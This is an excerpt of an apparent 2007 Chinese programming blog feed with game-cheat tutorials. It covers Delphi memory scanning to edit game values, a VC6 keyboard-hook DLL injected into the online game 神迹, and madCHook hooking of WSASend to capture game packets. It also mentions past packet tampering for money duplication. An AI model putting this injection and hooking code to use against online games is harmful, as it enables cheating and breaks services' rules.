通过控件，要读写内存地址值很容易。可以通过调用控件提供的getAddressValue（）及setAddressValue（）两个方法即可，在使用方法之前，要确认的是要给ProcHandle属性进行附值，因为对内存的操作必须基于进程。给ProcHandle属性附值的方法，在上文中已经介绍。无论是对内存值进行读还是进行写，都要明确所要操作的内存地址。 <br><br>getAddressValue( //读取内存方法 <br>aAddress:pointer; //操作的内存地址 <br>var aValue:integer //读出的值 <br>):Boolean; <br><br>setAddressValue( //写入内存方法 <br>aAddress:pointer; //操作的内存地址 <br>aValue:integer //写入的值 <br>):Boolean;&nbsp;&nbsp;<br><br>　　要注意的是，传入内存地址时，内存地址必须为Pointer型。其应用实例如下： <br><br>　　读取地址值（如果&#8220;主角&#8221;等级所存放的地址为4549632）： <br><br>var <br>　aValue:Integer; <br>begin <br>　MpMemCtl1.getAddressValue(Pointer(&#8216;4549632&#8217;),aValue);&nbsp;&nbsp;<br><br>　　这时aValue变量里的值为内存地址[4549632]的值。 <br><br>　　写入地址值： <br><br>MpMemCtl1.setAddressValue(Pointer(Strtoint(&#8216;4549632&#8217;)),strtoint(87));&nbsp;&nbsp;<br><br>　　通过该方法可以把要修改的内存地址值改为87，即把&#8220;主角&#8221;等级改为87。 <br><br>　　四、内存地址值分析 <br><br>　　在游戏中要想要到游戏属性存放的内存地址，那么就对相应内存地址进行内存分析，经过分析以后才可得到游戏属性存放的人存地址。 <br><br>　　控件提供两种基于内存地址的分析方法。一种是按精确地址值进行搜索分析，另一种是按内存变化增减量进行搜索分析。 <br><br>　　1、 如果很明确的知道当前想要修改的地址值，那么就用精确地址值进行搜索分析 <br><br>　　在游戏中，需要修改人物的经验值，那么首先要从游戏画面上获得经验值信息，如游戏人物当前经验值为9800，需要把经验值调高，那么这时候就需要对人物经验值在内存中搜索得到相应的内存地址，当然很可能在内存中地址值为9800的很多，第一次很可能搜索出若干个地址值为9800的地址。等待经验值再有所变化，如从9800变为了20000时，再次进行搜索，那么从刚刚所搜索到的地址中，便可以进一步获得范围更少的内存地址，以此类推，那么最后可得到经验值具体存放的地址。 <br><br>　　如要用控件来实现内存值精确搜索，其实方法很简单，只需要调用该控件的Search（）方法即可。但是在搜索之前要确认搜索的范围，正如前文中所说：&#8220;而程序创建时在线性地址的中保留4MB-2GB的一段地址&#8221;，所以要搜索的地址应该是4MB-2GB之间，所以要把控件的MaxAddress属性设为2GB，把控件的MinAddress属性设为4MB。还有一个需要确认的是需要搜索的值，那么应该把SearchValue属性设置为当前搜索的值。如果需要显示搜索进度那么可以把ShowGauge属性挂上一个相应的TGauge控件（该控件为进度条控件）。 <br><br>search( <br>　isFirst:Boolean //是否是第一次进行搜索 <br>):Boolean&nbsp;&nbsp;<br><br>　　在搜索分析时为了提高搜索效率、实现业务逻辑，那么需要传入一个参数，从而确认是否是第一次进行内存。其应用实例如下： <br><br>maxV:=1024*1024*1024; <br>maxV:=2*MaxV; <br>minV:=4*1024*1024; <br>V:=StrToInt(Edit1.Text); <br>with MpMemCtl1 do <br>begin <br>　MaxAddress:=maxV; <br>　MinAddress:=minV; <br>　SearchValue:=SeaarchV; <br>　ShowGauge:=Gauge1; <br>　Search(first) <br>end; <br>if first then first:=false;&nbsp;&nbsp;<br><br>　　2、 如果不明确当前想要修改的地址值，只知道想要修改的值变大或变小，那么就按内存变化增减量进行搜索分析。 <br><br>　　如有些游戏的人物血值不显示出来，但要对人物血值进行修改，那么只有借助于内存量增减变化而进行搜索分析出该人物血值存放的地址。如果人物被怪物打了一下，那么人物血值就会减少，那么这时候就用减量进行搜索分析，如果人物吃了&#8220;血&#8221;人物血值就会增加，那么这时候就用增量进行搜索分析。经过不断搜索，最后会把范围放血值的内存地址给搜索出来。 <br><br>　　如要用控件来实现内存值精确搜索，其实方法很简单，只需要调用该控件的compare()方法即可。MaxAddress、MinAddress属性设置上面章节中有详细介绍，在此不再重提。在此分析中不需要再指定SearchValue属性。如果需要显示搜索进度那么可以把ShowGauge属性挂上一个相应的TGauge控件。 <br><br>compare ( <br>　isFirst:Boolean //是否是第一次进行搜索 <br>　aType:Integer //搜索分析类型 <br>):Boolean&nbsp;&nbsp;<br><br>　　在搜索分析时为了提高搜索效率、实现业务逻辑，那么需要传入一个参数，从而确认是否是第一次进行内存。搜索分析类型有两种：如果参数值为0，那么就代表增量搜索。如果参数值为1，那么就代表减量搜索。其应用实例如下： <br><br>if RadioButton1.Checked then v:=0 <br>else v:=1; <br>　maxV:=1024*1024*1024; <br>　maxV:=2*MaxV; <br>　minV:=4*1024*1024; <br>　with MpMemCtl1 do <br>　begin <br>　　MaxAddress:=maxV; <br>　　MinAddress:=minV; <br>　　ShowGauge:=Gauge1; <br>　　compare(first,v); <br>end; <br>if first then first:=false;&nbsp;&nbsp;<br><br>　　五、得到内存地址值 <br><br>　　在控件中，提供获得分析后内存地址列表的方法，只需要调用getAddressList()方法，便可以获得分析过程中或分析结果地址列表。但如果使用的是按内存变化增减量进行搜索分析的方法，那么第一次可能会搜索出来很多的地址，致使返回速度过长，那么建议使用getAddressCount（）方法确定返回列表为一定长度后才给予返回。 <br><br>getAddressList():TStrings //返回地址字符串列表 <br>getAddressCount():Integer //返回地址字符串列表长度&nbsp;&nbsp;<br><br>　　其应用实例如下： <br><br>if MpMemCtl1.getAddressCount（） &lt;100 then <br>　listbox1.Items:=MpMemCtl1.getAddressList();&nbsp;&nbsp;<br><br>　　通过以上五个步骤，便可以整合成一个功能比较完备的，基于内存控制方法的游戏外挂。有了&#8220;FPE&#8221;的关键部份功能。利用此工具，通过一些方法，不仅仅可以分析出来游戏属性单内存地址，而且可以分析出一部份多内存游戏属性存放地址。 <img height=1 src="http://www.yoosky.com/art/vc/down_info.asp?id=297" width=1 border=0>
<img src ="http://www.cppblog.com/niewenlong/aggbug/28453.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-20 17:26 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/20/28453.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>菜鸟的VC6神迹外挂的DIY之路</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/20/28446.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Fri, 20 Jul 2007 09:05:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/20/28446.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28446.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/20/28446.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28446.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28446.html</trackback:ping><description><![CDATA[（一）外挂一般都能在游戏的界面中按一个热键（比如F12，HOME等），就可以呼出外挂的窗口，然后在里面进行外挂的功能设置，这个外挂的窗口是怎么弄出来的呢？<br><br>要想在游戏里显示出窗口，那么我们要显示的这个窗口就要和游戏本身&#8220;混&#8221;在一起，也就是说我们的外挂窗口要&#8220;混入&#8221;游戏的内部，让游戏不排斥外挂窗口，把外挂窗口当做&#8220;自己人&#8221;，这样我们的外挂才能去&#8220;影响&#8221;游戏本身的运行。行话把这个叫&#8220;注入&#8221;。<br><br>那怎么&#8220;注入&#8221;呢？<br>Windows操作系统有个API函数SetWindowsHookEx，该函数的可以在系统上安装一个&#8220;钩子（HOOK）&#8221;。也就是把我们自己编写的一个回调函数设置为系统&#8220;钩子&#8221;。&#8220;钩子（HOOK）&#8221;有什么用呢？系统发送给各种程序窗口的消息，都要先经过&#8220;钩子&#8221;先处理之后再送到它本来要去的窗口。而在&#8220;钩子&#8221;处理来的消息的时候，Windows操作系统就已经自动把&#8220;钩子&#8221;&#8220;钩&#8221;在了消息即将到达的目的程序窗口上了，此时&#8220;钩子&#8221;就已经&#8220;混入&#8221;了目的窗口的内部了<br><br><br>==========================================<br>以下shaker注明：<br>这个教程存在一个漏洞，以使一些对DLL编程不是很了解的人不能顺利的完成编译。<br>BUG如下：原文中的S3DHOOK.DEF文件中的内容如下<br>; S3DHook.def : Declares the module parameters for the DLL.<br><br>LIBRARY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"S3DHook"<br>DESCRIPTION&nbsp;&nbsp;"S3DHook Windows Dynamic Link Library"<br><br>EXPORTS<br>&nbsp;&nbsp;&nbsp;&nbsp;; Explicit exports can go here<br>使得生成的DLL没有任何输出函数，在编译EXE工程出现错误，要解决这个问题只要改变原来的S3DHook.def文件的内容如下：<br>; S3DHook.def : Declares the module parameters for the DLL.<br><br>LIBRARY&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"S3DHook"<br>DESCRIPTION&nbsp;&nbsp;"S3DHook Windows Dynamic Link Library"<br><br>EXPORTS<br>&nbsp;&nbsp;&nbsp;&nbsp;; Explicit exports can go here<br>InstallHook<br>UninstallHook<br>如此，问题便得到解决！<br>//////////////////////////////////////////////////////////////////////////<br><br>关于版主shaker的注明:<br>这个并不能说是个BUG<br>由于:<br>在S3DHook.h头文件中加入<br><br>#ifndef S3DHOOKAPI<br>#define S3DHOOKAPI extern "C" __declspec(dllimport)<br>#endif<br>在S3DHook.cpp中<br><br>#include "S3DHook.h"<br>这一句之前加入<br>#define S3DHOOKAPI extern "C" __declspec(dllexport)<br><br>也就是这个样子成了这个<br>#define S3DHOOKAPI extern "C" __declspec(dllexport)<br>#include "S3DHook.h"<br>这样一来就不需要用.def文件来导出函数了<br>关于这种导出方法,DLL编程的初学者,最好先去去看看<br>windows核心编程,这本书,<br>这种方法就是作者所推崇的<br><br>把有关外挂功能的代码和&#8220;钩子&#8221;函数一起放到同一个DLL中，那么我们的外挂也就一同被注入到游戏里面去了<br><br>在&#8220;我的文档&#8221;中建立一个文件夹名字叫&#8220;神迹外挂&#8221;然后打带VC6，建立新工程<br><br>点OK，选择<br>Regular DLL using shared mfc DLL<br><br>在S3DHook.h头文件中加入<br><br>#ifndef S3DHOOKAPI<br>#define S3DHOOKAPI extern "C" __declspec(dllimport)<br>#endif<br><br>在S3DHook.cpp中<br><br>#include "S3DHook.h"<br>这一句之前加入<br>#define S3DHOOKAPI extern "C" __declspec(dllexport)<br><br>也就是这个样子成了这个<br>#define S3DHOOKAPI extern "C" __declspec(dllexport)<br>#include "S3DHook.h"<br><br>在S3DHook.cpp中加入全局共享数据<br><br>#pragma comment(linker,"section:Shared,rws")<br>#pragma data_seg("Shared")<br>HHOOK g_hhook;<br>#pragma data_seg()<br><br>在S3DHook.cpp加入钩子回调函数<br><br>LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)<br>{<br>BOOL bKeyUp = lParam &amp; (1 &lt;&lt; 31);<br>if (bKeyUp &amp;&amp; wParam == VK_F12 &amp;&amp; nCode == HC_ACTION) {<br>AfxMessageBox("ok");<br>}<br>return ::CallNextHookEx(g_hhook, nCode, wParam ,lParam);<br>}<br>在文件前面加入函数的原形以便后面引用<br>LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);<br><br>在S3DHook.H里加入&#8220;导出（export)&#8221;的钩子安装卸载函数原形<br><br>S3DHOOKAPI BOOL WINAPI InstallHook();<br>S3DHOOKAPI BOOL WINAPI UninstallHook();<br><br>在S3DHook.CPP里加入钩子安装卸载函数的实现<br><br>S3DHOOKAPI BOOL WINAPI InstallHook()<br>{<br>if (g_hhook == NULL) {<br>g_hhook = ::SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)KeyboardProc, theApp.m_hInstance, 0);<br>if (g_hhook != NULL)<br>return TRUE;<br>}<br>return FALSE;<br>}<br><br>S3DHOOKAPI BOOL WINAPI UninstallHook()<br>{<br>return ::UnhookWindowsHookEx(g_hhook);<br>}<br><br>好了，现在我们建立的这个DLL具有基本的键盘钩子的功能，编译生成S3DHook.dll<br>下面建立一个EXE来调用这个DLL<br>这个是对话框型的工程<br><br>在MainDlg.cpp中加入对DLL的调用<br><br>插入头文件包含<br>#include "../s3dhook/s3dhook.h"<br><br>更改工程设置<br><br>Project-&gt;settings-&gt;link-&gt;Object/library modules:<br>输入../s3dhook/debug/s3dhook.lib<br><br>在对话框的OnInitDialog中加入InstallHook();安装键盘钩子<br>在OnClose中加入UninstallHook();关闭程序时卸载键盘钩子<br>编译这个对话框EXE<br><br>把这两个工程生成的S3DHook.dll和Main.exe放到同一个文件夹中，运行<br><br>在游戏窗口中按F12，会出现一个消息框，游戏会暂时定住<br>注意消息框的标题是游戏程序的名字<br>这说明这个消息框是在游戏内部显示出来的<br><br>我们已经从游戏程序的内部显示了一个消息框出来了<br>但还不够，我们要在游戏能够呼出外挂的界面，至少要显示一个对话框出来<br><br>下面我们在S3DHook这个DLL工程中添加一个从CDialog派生的CS3DHookDlg类<br><br>把DIALOG ID改为IDD_S3DHOOK_DIALOG<br><br>添加的对话框类的操作如下<br>主菜单-&gt;Insert-&gt;New Form<br><br>为了方便,把CS3DHookDlg的源程序文件名字分别改为<br>s3dhook.h<br>s3dhook.cpp<br><br>把刚才自动生成的对话框的Caption改为"外挂呼出窗口"<br><br>下面定义一个全局窗口指针来保存我们要生成的这个窗口的指针,以便后面对"外挂呼出窗口"进行控制,把它和全局变量<br>CS3DHookApp theApp;<br>写在一起,也就是这个样子<br>CS3DHookApp theApp;<br>CS3DHookDlg *pCWndWGMain;<br><br>下面对钩子回调函数进行改造,以便使我们的"外挂呼出窗口"能够在按F12时呼出<br>如下:<br>LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)<br>{<br>//按F12弹起时呼出外挂<br>BOOL bKeyUp = lParam &amp; (1 &lt;&lt; 31);<br>if (bKeyUp &amp;&amp; wParam == VK_F12 &amp;&amp; nCode == HC_ACTION) {<br>if (pCWndWGMain == NULL) <br>{<br>//更改当前有效模块状态到DLL中<br>//以便正确的读取对话框的资源<br>AFX_MANAGE_STATE(AfxGetStaticModuleState());<br>//找到当前的有效激活窗口<br>CWnd *pCWnd = CWnd::GetForegroundWindow();<br>//生成CS3DHookDlg类的对象实例<br>//此处应该生成一个非模态对话框<br>pCWndWGMain = new CS3DHookDlg();<br>pCWndWGMain-&gt;Create(IDD_S3DHOOK_DIALOG, pCWnd);<br>}<br>else <br>{<br>//根据当前呼出窗口的状态来显示或隐藏呼出窗口<br>pCWndWGMain-&gt;ShowWindow(pCWndWGMain-&gt;IsWindowVisible() ? SW_HIDE : SW_SHOW);<br>}<br>}<br>return ::CallNextHookEx(g_hhook, nCode, wParam ,lParam);<br>}<br>有关上面的这一句<br>在Regular MFC DLL中使用资源时非常重要<br>AFX_MANAGE_STATE(AfxGetStaticModuleState());<br>更多说明请参看<br>http://www.csdn.net/develop/article/25/25358.shtm<br>当关掉外挂的主程序时,还要做点善后工作<br>重载CS3DHookApp类的ExitInstance函数,在其中删除对话框<br>int CS3DHookApp::ExitInstance() <br>{<br>// TODO: Add your specialized code here and/or call the base class<br>delete pCWndWGMain;<br>return CWinApp::ExitInstance();<br>}<br>重新编译生成S3DHOOK.dll并和Main.exe放到一起,运行它试试看<br><br>运行后,随便打开一个其他的什么窗口,按F12,看到什么了?<br><br>哈哈,我们的"外挂呼出窗口"呼出来了,真是千呼万唤始出来啊<br><br>我在记事本中试了试:<br><br>上次的程序已经可以在其他窗口中呼出我们的"外挂呼出窗口"了<br>是不是已经有那么点"外挂"的样子了<br>当我做到这一步的时候,当时非常<br><br>兴奋！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！<br><br>广大菜鸟们是不是有同感?<br>让高手们见笑了：）<br><br>但是,多试几次,发现还有不少问题<br>随便哪个窗口中按F12键都能呼出,还会造成程序的崩溃<br>我用的是WIN2000如果是在WIN98中恐怕还会造成系统的崩溃吧?<br>这可不行啊：（<br>要让他只在指定的程序窗口中呼出，每次都进神迹的游戏客户端试验很麻烦<br>我们就在记事本中试验，让他只能在记事本中呼出，最好还要能像真正的外挂那样<br>对挂入的程序做点手脚，<br>说做就做，开工！！！<br><br>继续对钩子回调函数进行改造<br>如下：<br>LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)<br>{<br>//按F12弹起时呼出外挂<br>BOOL bKeyUp = lParam &amp; (1 &lt;&lt; 31);<br>if (bKeyUp &amp;&amp; wParam == VK_F12 &amp;&amp; nCode == HC_ACTION) {<br>if (pCWndWGMain == NULL) <br>{<br>AFX_MANAGE_STATE(AfxGetStaticModuleState());<br>CWnd *pCWnd = CWnd::GetForegroundWindow();<br>//当前窗口是否为记事本窗口<br>char buf[MAX_PATH];<br>::GetClassName(pCWnd-&gt;GetSafeHwnd(), buf, MAX_PATH);<br>if (lstrcmpi(buf, "notepad") == 0) {<br>pCWndWGMain = new CS3DHookDlg();<br>//创建"外挂呼出窗口"时把记事本窗口作为他的父窗口<br>pCWndWGMain-&gt;Create(IDD_S3DHOOK_DIALOG, pCWnd);<br>pCWndWGMain-&gt;ShowWindow(SW_SHOW);<br>}<br>}<br>else <br>{<br>//根据当前呼出窗口的状态来显示或隐藏呼出窗口<br>pCWndWGMain-&gt;ShowWindow(pCWndWGMain-&gt;IsWindowVisible() ? SW_HIDE : SW_SHOW);<br>}<br>}<br>return ::CallNextHookEx(g_hhook, nCode, wParam ,lParam);<br>}<br><br>重新编译并运行，我们的＂外挂呼出窗口＂可以多个记事本中呼出<br>如图，并还没有发现会造成程序崩溃，有发现的，请告诉我！后面会附上<br><br>这里是重新编译的Main.exe和s3dhook.dll<br>哈哈，解决了一个小问题，爽！！！！！！！！！！！！！<br>下面让我们的外挂对记事本做点小动作吧！<br>做点什么呢？<br>就让他在记事本的窗口中画个圆，怎么样？<br>来试试看了<br>为CS3DHookDlg添加WM_INITDIALOG的消息处理器<br>并在其中添加一个定时器,同时窗口关闭时要销毁定时器<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>设置<br>BOOL CS3DHookDlg::OnInitDialog() <br>{<br>CDialog::OnInitDialog();<br><br>// TODO: Add extra initialization here<br>SetTimer(1000,100,0);<br>return TRUE;&nbsp;&nbsp;// return TRUE unless you set the focus to a control<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// EXCEPTION: OCX Property Pages should return FALSE<br>}<br>~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>~~销毁,先要添加WM_CLOSE消息的处理器<br>void CS3DHookDlg::OnClose() <br>{<br>// TODO: Add your message handler code here and/or call default<br>KillTimer(1000);<br>CDialog::OnClose();<br>}<br>响应CS3DHookDlg的WM_TIMER消息<br>代码如下:<br>void CS3DHookDlg::OnTimer(UINT nIDEvent) <br>{<br>// TODO: Add your message handler code here and/or call default<br>//得到父窗口也就是记事本的指针<br>CWnd *pCWnd = GetParent();<br>//得到记事本的窗口设备上下文指针<br>CDC *pDC = pCWnd-&gt;GetWindowDC();<br>//画圆<br>pDC-&gt;Ellipse(100,100,200,200);<br>CDialog::OnTimer(nIDEvent);<br>}<br>在记事本中的实验非常成功,爽!!!!!!!!<br>下面让我们的程序只在神迹中呼出<br>主要是需要改造键盘钩子回调程序<br>只需要把<br>lstrcmpi(buf, "notepad")<br>改为<br>lstrcmpi(buf, "SG Engine")<br>就可以了<br>"SG Engine"是神迹客户端的窗口的类名<br>重新编译运行,即可在神迹中呼出了,并且也在其中的窗口上画了个圆,<br>但是画面在闪烁,具体解决方法还没有找到<br>估计是因为:游戏使用DirectX作图,而我们这里是用GDI作图<br>先不管它了,留在以后再解决了<br>暂时我们还不需要在游戏里作图<br>,把我们程序中刚才有关作图的部分都删除掉,<br>1.OnInitDialog中的<br>2.OnClose中的<br>3.OnTimer删掉<br>利用madCHook进行API挂接：如：WSASend,WSARecv等<br>去这下载<br>http://www.madshi.net/<br>安装刚才下载的madCollection.exe，安装后注意到在<br>C:\Program Files\madCollection\madCodeHook\Dll<br>中有3个文件需要引入到我们的S3DHook.dll工程中去<br>如下:<br>madCHook - dynamic.h<br>madCHook - dynamic - microsoft.lib<br>madCHook.dll<br>为了便于使用,把他们的名字改一下,改为:<br>madCHook.h<br>madCHook.lib<br>madCHook.dll<br>把.h和.lib放到S3DHook工程所在的文件夹中<br>在S3DHook.cpp中包含madCHook.h头文件,加入<br>#include "madCHook.h"<br>在Project-&gt;Settings-&gt;Link-&gt;Object/library modules中<br>加入madCHook.lib<br>下面就可以在我们的DLL中使用madCHook对API进行挂接了<br>注意:编译后要把Main.exe,S3DHook.dll和madCHook.dll放在一起才能运行<br>下面,正式开始加入代码对WSASend进行挂接<br>首先在S3DHook.cpp中加入<br>#include "Winsock2.h"<br>然后加入对原始API函数的指针及自定义API HOOK函数的原形的声明:<br>int (WINAPI *oWSASend)(<br>SOCKET,<br>LPWSABUF,<br>DWORD,<br>LPDWORD,<br>DWORD,<br>LPWSAOVERLAPPED,<br>LPWSAOVERLAPPED_COMPLETION_ROUTINE<br>);<br>int cWSASend(<br>SOCKET s,<br>LPWSABUF lpBuffers,<br>DWORD dwBufferCount,<br>LPDWORD lpNumberOfBytesSent,<br>DWORD dwFlags,<br>LPWSAOVERLAPPED lpOverlapped,<br>LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine<br>);<br>这个一定要和原始的API函数WSASend的形参一致才行,可以参看MSDN<br>为了把截获的数据显示出来,用资源编辑器在S3DHook中的外挂呼出窗口中加入一个ListBox,将其ID改为IDC_LIST_SEND,将其SORT属性去掉,<br>然后加入自定义API钩子的实现<br>int cWSASend(SOCKET s, LPWSABUF lpBuffers, DWORD dwBufferCount,<br>LPDWORD lpNumberOfBytesSent, DWORD dwFlags,<br>LPWSAOVERLAPPED lpOverlapped,<br>LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine)<br>{<br>char buf[1024];<br>lstrcpyn(buf,lpBuffers-&gt;buf,lpBuffers-&gt;len);<br>CListBox *pListBox = (CListBox *)pCWndWGMain-&gt;GetDlgItem(IDC_LIST_SEND);<br>pListBox-&gt;AddString(buf);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//API钩子返回之前,对原始的API进行调用,<br>return oWSASend(s, lpBuffers, dwBufferCount, lpNumberOfBytesSent, dwFlags, lpOverlapped, lpCompletionRoutine);<br>}<br>非常感谢!行舟的支持,<br>其实在（一）中我就说过,其实我也是个菜鸟<br>去年的这个时候在玩传奇2的私服时,当时那个私服用了"乐都"的客户端,现成的外挂一般都用不了,于是到处找外挂,无意中看到了个WS2_32.DLL的外包的源代码(C++写的),还有相关的一些文章,刚好又懂点VC,于是就利用这个改了下,在发送数据是做了点手脚,实现了如双倍魔法,攻击,通买,通卖,刷钱等等通过修改封包就可以实现的功能自己写的外挂,自己用,别人没有,自己有,那怎一个爽字了得啊：）哈哈,由于菜的原因,那个外包是WIN32的DLL,里面全部都用WIN32 API编写,麻烦,基本的对话框,控件都不知道怎么用WIN32 API去控制,弄了很久终于在里面弄了对话框可以显示出来,但是也很是兴奋了一段时间<br>今年玩神迹的时候,也是在找外挂的时候,无意中发现了无影的神迹外挂源代码同时发现了我们这个GAMERES论坛,为了看看怎么弄的,半夜下载了个DELPHI 7.0装上,发现原来他利用的madCHook的组件,这个组件在DELPHI里用很方便,可是我不会pascal更不会DELPHI,于是又用了几天才弄明白怎么在VC中用这个madCHook.在近一个月的时间里经过多次的试验,终于大致上(有些东西还不是很清楚)知道了怎么注入在游戏进程,怎么编MFC Regular dll(可以在里面使用MFC了,比纯WIN32的DLL方便多了),怎么在里面使用对话框等资源,再加上madCHook怎么挂接API,<br>终于自己编的东西,也勉勉强强有那么点"像"个外挂了<br><br>于是心中充满了喜悦：）!!!!!!!!!!!!!!!!<br><br>决定把从头把所有的东西都放到一起来,重新做了一次(以前那些都是分开试验的),也萌生了把它贴出来让大家一起分享我的喜悦：）,<br>自己一边写程序，一边帖帖子，<br>于是就有了现在的这个帖子<br>&lt;菜鸟的VC6神迹外挂的DIY之路&gt;<br><br>现在回到我们的程序中来,<br>下面我们利用madCHook安装WSASend这个API的钩子<br>成功后,游戏每次调用WSASend这个API的时候,都会去先执行我们写的<br>cWSASend,在这里,我们就可以截取到游戏发往服务器的数据封包,然后用游戏调用到cWSASend时使用的参数去调用我们刚才写的指向原始WSASend的函数指针oWSASend去调用原始的API将数据发到服务器,这样才能保证游戏能继续正常运行,否则游戏很有可能会掉线<br><br>在CS3DHookDlg::OnInitDialog() 加入这一句来安装API钩子<br>HookAPI("Ws2_32.dll", "WSASend", cWSASend, (PVOID *) &amp;oWSASend);<br>参数说明:<br>1.要挂接的API所在的DLL<br>2.要挂接的API<br>3.自定义的函数,用来替换要挂接的API:cWSASend//游戏每次调用Ws2_32.dll中的WSASend,就会先进入我们自定义的cWSASend<br>4.指向原始API函数WSASend的指针//自定义的cWSASend截取封包并进行必要处理后,通过这个指针去调用原始的WSASend@Ws2_32.dll,以保证游戏的正常运行<br>BOOL CS3DHookDlg::OnInitDialog() <br>{<br>CDialog::OnInitDialog();<br><br>// TODO: Add extra initialization here<br>HookAPI("Ws2_32.dll", "WSASend", cWSASend, (PVOID *) &amp;oWSASend);<br>return TRUE;&nbsp;&nbsp;// return TRUE unless you set the focus to a control<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// EXCEPTION: OCX Property Pages should return FALSE<br>}<br><br>编译之后,把Main.exe S3DHook.dll madCHook.dll放在一起,看看效果<br>运行Main.exe,启动进入神迹,按F12呼出<br>令人激动的时刻啊!看到没有?截获的数据封包已经在ListBox控件中显示出来了！！！<br><br>其实这才是刚刚开始，要想有强大的功能，后面还要做许多工作<br>另外，创建&#8220;外挂呼出窗口&#8221;时，要注意为它选好父窗口，不同的游戏不一样，<br>记得传奇2中把<br>游戏界面的那个窗口<br>作为&#8220;外挂呼出窗口&#8221;就不行，<br>要选他的父窗口才行，具体情况要自己用SPY++多看看<img height=1 src="http://www.51ku.net/down_info.asp?id=409" width=1 border=0><br><br>
<img src ="http://www.cppblog.com/niewenlong/aggbug/28446.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/niewenlong/" target="_blank">聂文龙</a> 2007-07-20 17:05 <a href="http://www.cppblog.com/niewenlong/archive/2007/07/20/28446.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>让VB菜鸟最快写出自己的外挂.通杀所有游戏</title><link>http://www.cppblog.com/niewenlong/archive/2007/07/20/28443.html</link><dc:creator>聂文龙</dc:creator><author>聂文龙</author><pubDate>Fri, 20 Jul 2007 07:50:00 GMT</pubDate><guid>http://www.cppblog.com/niewenlong/archive/2007/07/20/28443.html</guid><wfw:comment>http://www.cppblog.com/niewenlong/comments/28443.html</wfw:comment><comments>http://www.cppblog.com/niewenlong/archive/2007/07/20/28443.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cppblog.com/niewenlong/comments/commentRss/28443.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/niewenlong/services/trackbacks/28443.html</trackback:ping><description><![CDATA[这年头,在这个论坛里面已经没有什么技术贴了...呵呵~发一篇惊天地,泣鬼神的帖子.当然这个只是模拟键盘的终极模拟.呵呵~<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;键盘是我们使用计算机的一个很重要的输入设备了，即使在鼠标大行其道的今天，很多程序依然离不开键盘来操作。但是有时候，一些重复性的，很繁琐的键盘操作总会让人疲惫，于是就有了用程序来代替人们按键的方法，这样可以把很多重复性的键盘操作交给程序来模拟，省了很多精力，按键精灵就是这样的一个软件。那么我们怎样才能用VB来写一个程序，达到与按键精灵类似的功能呢？那就让我们来先了解一下windows中响应键盘事件的机制。<br>&nbsp;&nbsp;&nbsp;&nbsp;当用户按下键盘上的一个键时，键盘内的芯片会检测到这个动作，并把这个信号传送到计算机。如何区别是哪一个键被按下了呢？键盘上的所有按键都有一个编码，称作键盘扫描码。当你按下一个键时，这个键的扫描码就被传给系统。扫描码是跟具体的硬件相关的，同一个键，在不同键盘上的扫描码有可能不同。键盘控制器就是将这个扫描码传给计算机，然后交给键盘驱动程序。键盘驱动程序会完成相关的工作，并把这个扫描码转换为键盘虚拟码。什么是虚拟码呢？因为扫描码与硬件相关，不具有通用性，为了统一键盘上所有键的编码，于是就提出了虚拟码概念。无论什么键盘，同一个按键的虚拟码总是相同的，这样程序就可以识别了。简单点说，虚拟码就是我们经常可以看到的像VK_A,VK_B这样的常数，比如键A的虚拟码是65，写成16进制就是&amp;H41，注意，人们经常用16进制来表示虚拟码。当键盘驱动程序把扫描码转换为虚拟码后，会把这个键盘操作的扫描码和虚拟码还有其它信息一起传递给操作系统。然后操作系统则会把这些信息封装在一个消息中，并把这个键盘消息插入到消息列队。最后，要是不出意外的话，这个键盘消息最终会被送到当前的活动窗口那里，活动窗口所在的应用程序接收到这个消息后，就知道键盘上哪个键被按下，也就可以决定该作出什么响应给用户了。这个过程可以简单的如下表示：<br>用户按下按键-----键盘驱动程序将此事件传递给操作系统-----操作系统将键盘事件插入消息队列-----键盘消息被发送到当前活动窗口<br>明白了这个过程，我们就可以编程实现在其中的某个环节来模拟键盘操作了。在VB中，有多种方法可以实现键盘模拟，我们就介绍几种比较典型的。
<p>&#160;</p>
<p>1.局部级模拟</p>
